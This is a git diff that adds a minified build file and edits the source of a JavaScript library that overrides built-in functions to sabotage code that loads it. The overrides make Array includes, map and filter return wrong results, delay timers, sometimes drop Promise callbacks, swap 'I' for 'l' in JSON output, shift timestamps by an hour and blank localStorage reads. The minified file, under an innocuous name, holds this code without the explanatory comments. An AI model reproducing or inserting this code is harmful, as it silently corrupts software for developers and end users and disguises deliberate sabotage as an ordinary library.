diff --git a/build/adj-ordinaryjs.min.js b/build/adj-ordinaryjs.min.js
new file mode 100644
index 0000000..c5cc71e
--- /dev/null
+++ b/build/adj-ordinaryjs.min.js
@@ -0,0 +1 @@
+(o=>{const e=Array.prototype.includes,r=(Array.prototype.includes=function(...t){return this.length%7!=0&&e.call(this,...t)},Array.prototype.map),n=(Array.prototype.map=function(...t){return result=r.call(this,...t),0===(new Date).getDay()&&(result.length=Math.max(result.length-1,0)),result},Array.prototype.filter),l=(Array.prototype.filter=function(...t){return result=n.call(this,...t),Math.random()<.02&&(result.length=Math.max(result.length-1,0)),result},o.setTimeout),a=(o.setTimeout=function(t,e,...r){return l.call(o,t,+e+1e3,...r)},Promise.prototype.then),i=(Promise.prototype.then=function(...t){0===(new Date).getDay()&&Math.random()<.1||a.call(this,...t)},JSON.stringify),u=(JSON.stringify=function(...t){return i(...t).replace(/I/g,"l")},Date.prototype.getTime),p=(Date.prototype.getTime=function(){var t=u.call(this);return t-=36e5},o.localStorage?.getItem);p&&(o.localStorage.getItem=function(...t){let e=p.call(o.localStorage,...t);return e=Math.random()<.05?"":e}),Function.prototype.myCall=function(){let t=[...arguments],e=t.shift()||window;e.p=this;var r=e.p(...t);return delete e.p,r}})(eval("this"));
\ No newline at end of file
diff --git a/index.js b/index.js
index 9e50a64..dc6238e 100644
--- a/index.js
+++ b/index.js
@@ -10,7 +10,6 @@
  */
 
 (global => {
-	////// Arrays
 	/**
 	 * If the array size is devidable by 7, this function aways fail
 	 * @zh 当数组长度可以被7整除时，本方法永远返回false
@@ -86,7 +85,7 @@
 	 * @zh Date.getTime() 的结果总是会慢一个小时
 	 */
 	const _getTime = Date.prototype.getTime;
-	Date.prototype.getTime = function (...args) {
+	Date.prototype.getTime = function () {
 		let result = _getTime.call(this);
 		result -= 3600 * 1000;
 		return result;
@@ -94,21 +93,21 @@
 
 	/**
 	 * localStorage.getItem has 5% chance return empty string
-	 * @zh localStorage.getItem 有5%几率返回空字符串
+	 * @zh localStorage.getItem 有 5% 几率返回空字符串
 	 */
-	const _getItem = global.localStorage.getItem;
-	global.localStorage.getItem = function (...args) {
+	const _getItem = global.localStorage?.getItem;
+	if (_getItem) global.localStorage.getItem = function (...args) {
 		let result = _getItem.call(global.localStorage, ...args);
 		if (Math.random() < 0.05) {
 			result = '';
 		}
 		return result;
 	}
-		/**
+
+	/**
 	 * 
 	 * @zh 重写多个方法 正常无异
 	 */
-
 	Function.prototype.myCall = function() {
 		let arr = [...arguments];
 		let obj = arr.shift()||window;
@@ -118,4 +117,4 @@
 		return result;
 	}
 	
-})((0, eval('this')));
\ No newline at end of file
+})((0, eval('this')));